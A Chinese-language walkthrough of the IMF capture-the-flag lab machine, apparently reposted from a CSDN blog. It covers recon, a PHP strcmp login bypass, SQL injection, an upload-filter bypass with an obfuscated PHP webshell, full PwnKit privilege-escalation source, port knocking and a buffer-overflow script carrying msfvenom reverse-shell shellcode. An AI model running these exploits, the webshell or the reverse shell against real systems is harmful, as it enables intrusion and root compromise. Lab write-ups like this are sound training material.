IMF靶场练习

发布时间:2023年12月18日

信息收集

# nmap -sn 192.168.1.0/24 -oN live.nmap                        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:23 CST
Nmap scan report for 192.168.1.1
Host is up (0.00017s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.68
Host is up (0.00048s latency).
MAC Address: 00:0C:29:3F:28:D8 (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00069s latency).
MAC Address: 00:50:56:F6:03:39 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.96 seconds

拿到目标靶机的IP地址为192.168.1.68

# nmap -sT --min-rate 10000 -p- 192.168.1.68 -oN port.nmap   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:23 CST
Nmap scan report for 192.168.1.68
Host is up (0.0028s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3F:28:D8 (VMware)

仅开放了80端口,http服务!那么突破点就是在80端口上了!

# nmap -sT -sC -sV -O -p80 192.168.1.68 -oN details.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:24 CST
Nmap scan report for 192.168.1.68
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:3F:28:D8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 4.2 (90%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上是Apache httpd 2.4.18 开启的http服务! 网站的title为IMF - Homepage 目标靶机运行在vm上,Ubuntu系统。

# nmap -sT --script=vuln -p80 192.168.1.68 -oN vuln.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 11:25 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.68
Host is up (0.00050s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:3F:28:D8 (VMware)

nmap的漏洞脚本扫描,并没有发现什么有价值的信息,只是一个内网IP地址的泄露!

渗透测试

首先进入网站的首页看一下,同时准备进行目录的爆破:

"Impossible Mission Force" ---- 不可能使用暴力解决? 英语真的蛮重要的~ 看了相关资料:

在Contact US中的源码发现了第一个flag!其中里面的字符是base64编码的!

经过base64转换后的结果是allthefiles? 这是一个参数嘛还是什么? 目前不得而知!先做一下目录的扫描把:

经过目录扫描后,没有什么发现。 后面又在contact界面找到了三个用户名!

一直找不到突破点是什么,上面得到的allthefiles,看起来也没什么用。抓包的时候,发现了请求包中的js代码名 看起来好像base64:

查看源码,发现这三个js文件,将三个文件名,进行拼接后再base64解码:

拿到了flag2,再解密里面的内容看看有什么东西!

这是用户嘛?还是路径或者参数呢? 尝试一下路径,因为没有开放22端口,同样也没找到相关的登陆点:

找到了后台的登陆点!查看源码中拿到相关提示:

说是sql无法正常的工作,所以采用了硬编码密码,他觉得还是很安全的!

尝试使用弱口令登录,发现提示无效的用户名,尝试以下四个用户:

roger
rmichaels
akeith
estone    上面收集的用户名

当使用rmichaels用户进行登录的时候,发现提示变了,变成了无效的密码。因此这里可以尝试去爆破这个用户的密码,还有一个方法就是判断是否存在sql注入漏洞。

这里在使用sqlmap进行sql注入测试的时候,发现存在WAF/IPS~

貌似不存在sql注入~ 可能是由于WAF的存在导致的!这里就没有了思路。利用常用字典和爬虫作为字典进行了爆破了,也没有什么突破!

同时利用cewl进行爬虫,拿到相关的关键字作为字典进行爆破:

也是没什么收获~

又又又看了大佬们的wp,由于提示是存在硬编码,在php中,硬编码存在三种,分别是=== 、==以及strcmp函数的利用!

if($_POST['pass']===$password){
  	echo "login success";
}

if($_POST['pass']==$password){
  	echo "login success";
}

if(strcmp($_POST['pass'],$password)){
  	echo "login success";
}

前面两种可能存在md5值的比较,需要利用0e开头的字符串进行绕过!strcmp函数是存在漏洞的,在php版本高于5.3的时候,如果是字符串和数组比较,那么就会直接返回0 低于5.2 返回的是-1

因此就将pass参数改为数组格式尝试:

成功登录上来,并且获得了flag3;尝试继续解码,同时给了一个地址!

又给了一个参数,尝试访问cms.php?pagename=home

看到这里的url参数,这里又可以去测试是否存在sql注入和任意文件读取:

不存在任意文件读,尝试sql注入:

报错了,可能存在sql注入了,这里就可以尝试sqlmap跑一下:

发现admin数据库:

先看admin数据库:发现了page这个表,在表里面发现了4个文章,但是网站上只有三个,看看这个Traing class里面有什么:

发现一个图片,里面存在着二维码。

尝试扫描得到相关flag:

继续解码:

拿到了一个文件上传的php文件,应该就可以进行文件上传了:

尝试上传反弹shell!好好好 不能直接上传php文件:

抓包进行绕过!直接全部改成png的特征上传,哦吼存在WAF给拦了:

直接上蚁剑马,连接蚁剑:但是需要绕过php,这里应该是白名单了,只能图片相关的后缀。

发现使用00截断失败了,它保留了后面的后缀名,前面的没了,好奇怪啊;

最后,我又看了wp,直接上传gif,上传的gif被php解析了。

开始上传一句话木马,结果eval又被检测了。需要做一下绕过:

<?php
$a = "assert";
$a(@$_POST['shell']);
?>

上传成功,尝试利用蚁剑连接:

连接成功!尝试上传msf反弹shell!

准备上传的时候,发现了flag5:

flag5{YWdlbnRzZXJ2aWNlcw==}

上传msf反弹shell可执行文件,给执行权限:

msf起监听,同时在蚁剑中执行文件:

提权

利用python提升shell的交互性,同时设置一个环境变量xterm-color:

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-color

查看/etc/passwd文件:发现了一个用户为setup!

之后来到了网站的目录下,查看了相关的文件,发现在cms.php文件中:

找到了数据库的账号和密码!

同样找到了过滤文件的内容:

里面写了禁用的函数,以及对文件格式的检查! 还有在index文件中找了硬编码的密码:

目前找到的相关密码的东西:
398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf
3298fj8323j80df!49

内核漏洞提权

尝试碰撞相关密码,但是失败了~ 寻找了内核漏洞进行提权:

https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

利用内核漏洞进行提权:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
        "       exit(0);\n"
        "}";

int main(int argc, char *argv[]) {
        FILE *fp;
        system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
        system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
        fp = fopen("pwnkit/pwnkit.c", "w");
        fprintf(fp, "%s", shell);
        fclose(fp);
        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

开启一个简单的http服务,在靶机上使用wget下载exp文件,然后编译成可执行文件:

gcc exp.c -o exp
chmod +x exp
./exp

在root目录发现了最终的flag!

还有一种提权的方法!缓冲区溢出提权!

缓冲区溢出提权

(关于缓冲区溢出提权,是根据wp来做的,本人涉及到了知识点的盲区-缓冲区溢出提权)

利用flag5,通过base64解码得到的相关提示!agentsevice!判断agent可能存在相关漏洞!利用find命令去搜索agent:

find / -name agent 2>/dev/null

共得到两个文件,分别查看两个文件:

service agent相关配置。服务端是/usr/local/bin/agent 而端口是7788端口!在/usr/local/bin目录下存在两个文件,其中一个文件存在三个端口:

agent文件,执行后,需要输入Agent id,暂时不知道ID是什么!

尝试将agent文件拿下来:

#首先将文件进行base64编码:
base64 /usr/local/bin/agent

#查看agent的md5哈希值
md5sum agent
#将base64编码的内容复制到本地文件中:
gedit base64.txt
#然后在进行base64转码 保存为agent!
cat base64.txt | base64 -d > agent
#最后一步就是校验md5哈希值是不是相同!

这里提出一个疑问,直接用蚁剑下载不就好了? 干嘛这么麻烦呢? 由于之前在/usr/local/bin目录下发现的access_code文件中存在三个端口。

于是这又涉及到端口碰撞相关知识点!

端口碰撞/端口试探

这是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦受到正确顺序的连接尝试,防火墙就会动态的打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防止攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP TCP数据包,当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列是正确的,则开启相应端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来进行控制访问,因此可以利用这种端口试探的方式来进行防火墙对于IP地址的限制!

于是在kali中尝试将端口进行碰撞开:

knock 192.168.1.68 7482 8279 9467

重新进行端口扫描:

发现开放了7788端口,尝试利用nc进行连接:

发现这就是我们在靶机上运行的agent程序!但是不知道Agent id是什么!于是利用了ltrace对agent文件进行分析:

ltrace ./agent

随意的输入数字:

于是在程序中发现了strncmp函数去比较了我们输入的id和后面的数字串,那么也就得到了真正的id。

为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其“n兄弟”版本,例如strncmp、strncat、snprintf......兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大的字符数量。

甚至通过strings agent发现,程序中两个地方都使用了“%s”,这很可能是一个有效的溢出点。

使用gdb测试,发现第三个选项栏存在缓冲区溢出漏洞:(测试环境搭建如下)

gdb-pada安装:默认下载到/root目录
1. 下载peda
	git clone https://github.com/longld/peda.git
2. 下载Pwngdb
	git clone https://github.com/scwuaptx/Pwngdb.git 
3. 下载pwndbg
	git clone https://github.com/pwndbg/pwndbg
4. 先安装pwndbg
	cd /root/pwndbg
	./setup.sh
6. 再配置下Pwngdb
	cd /root
	cp Pwngdb/.gdbinit .
	vim .gdbinit
8. 在第二行添加:source ~/pwndbg/gdbinit.py

整个安装的过程比较缓慢!

使用gdb测试
#先使用该工具生成200个字符
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

#开启服务
gdb  ./agent

#执行
run
#输入ID
48093572

#选择有漏洞的服务
3
#粘贴生成的200个字符

#最终生成一个16进制的地址

最终生成一个16进制的地址 : 0x41366641

使用解密工具找到偏移量:168
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641

利用checksec 来检查是否存在安全机制:

checksec

cat /proc/sys/kernel/eandomize_va_space   --查看ASLR设置

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
jmpcall eax    或者asmsearch "jmp eax"  
									 asmsearch "call eax"

得到EAX地址!

目前得到了JMP值:0x8048563 偏移量为168 接下来就是创建shellcode,写个脚本直接拿下。

接下来创建后门,避免使用空字符和换行符!

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.113.128 LPORT=6666 -f python -b "\x00\x0a\x0b"

-b 坏字符
\x00 == 0x00 ASCII控制字符表中对应NULL(空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0d == 0x0d ASCII控制字符表中对应 VT (垂直定位符号)

最终脚本如下:

#!/usr/bin/python2
import time, struct, sys
import socket as so
 
 
buf =  b""
buf += b"\xdd\xc1\xba\xf1\x42\x10\x13\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x12\x83\xc6\x04\x31\x56\x13\x03\xa7"
buf += b"\x51\xf2\xe6\x76\x8d\x05\xeb\x2b\x72\xb9\x86\xc9"
buf += b"\xfd\xdc\xe7\xab\x30\x9e\x9b\x6a\x7b\xa0\x56\x0c"
buf += b"\x32\xa6\x91\x64\x05\xf0\x63\x48\xed\x03\x64\xa1"
buf += b"\xb1\x8a\x85\x71\x2f\xdd\x14\x22\x03\xde\x1f\x25"
buf += b"\xae\x61\x4d\xcd\x5f\x4d\x01\x65\xc8\xbe\xca\x17"
buf += b"\x61\x48\xf7\x85\x22\xc3\x19\x99\xce\x1e\x59"
 
 
buf += "A" * (168 - len(buf))
 
buf +="\x63\x85\x04\x08\n"
 
try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]
   sys.exit()
 
s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to agent...."
try: 
   s.connect((server,port))
   s.recv(1024)
   s.send("48093572\n")
   s.recv(1024)
   s.send("3\n")
   s.send(buf)
   s.recv(1024)
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
   sys.exit()

总结

整个靶机涉及到的知识点相当多,难度也是稍微偏上。后续会继续对这个靶机进行研究,其中缓冲区溢出漏洞的利用对本人来说还是难度大了一点。

文章来源:https://blog.csdn.net/weixin_44770698/article/details/135041463
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。